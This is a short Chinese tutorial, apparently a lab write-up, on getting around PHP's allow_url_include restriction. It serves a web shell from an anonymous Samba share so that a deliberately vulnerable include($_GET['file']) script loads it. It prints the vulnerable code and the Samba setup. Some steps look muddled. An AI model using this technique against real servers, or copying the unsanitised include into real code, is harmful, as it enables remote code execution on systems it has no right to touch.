RFI与SMB

远程文件包含漏洞在allow_url_fopen以及allow_url_include为off的情况下,我们该怎么办

0x01 测试过程

测试代码:

1
2
3
4
5
6
<?php

$temp = $_GET['file'];
include($temp);

?>

这里样的代码在无任何防护的情况下,满足

1
2
allow_url_fopen=On
allow_url_include=On

可执行远程文件包含漏洞
我们在IP为192.168.43.60的主机上编写web shell,正常情况下,如下图

当我们off掉,程序报错,情况如下:

解决策略

使用匿名读取访问权限配置SAMBA服务器(Linux计算机)
使用下面提到的命令安装SAMBA服务器:

1
apt-get install samba

创建SMB共享目录(在我的情况下为/ var / www / html / pub /)

1
mkdir /var/www/html/pub/

配置新创建的SMB共享目录的权限:

1
2
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

运行以下提到的命令以删除SAMBA服务器配置文件的默认内容

1
echo > /etc/samba/smb.conf

将下面提到的内容放在’/etc/samba/smb.conf’文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重新启动SAMBA服务器以应用配置文件/etc/samba/smb.conf中的spcified新配置

1
\\192.168.0.3\


因为smb服务可用于文件共享,通过这个思路绕过RFI限制。
在pub文件夹下编写web shell

测试一下:

成功

0%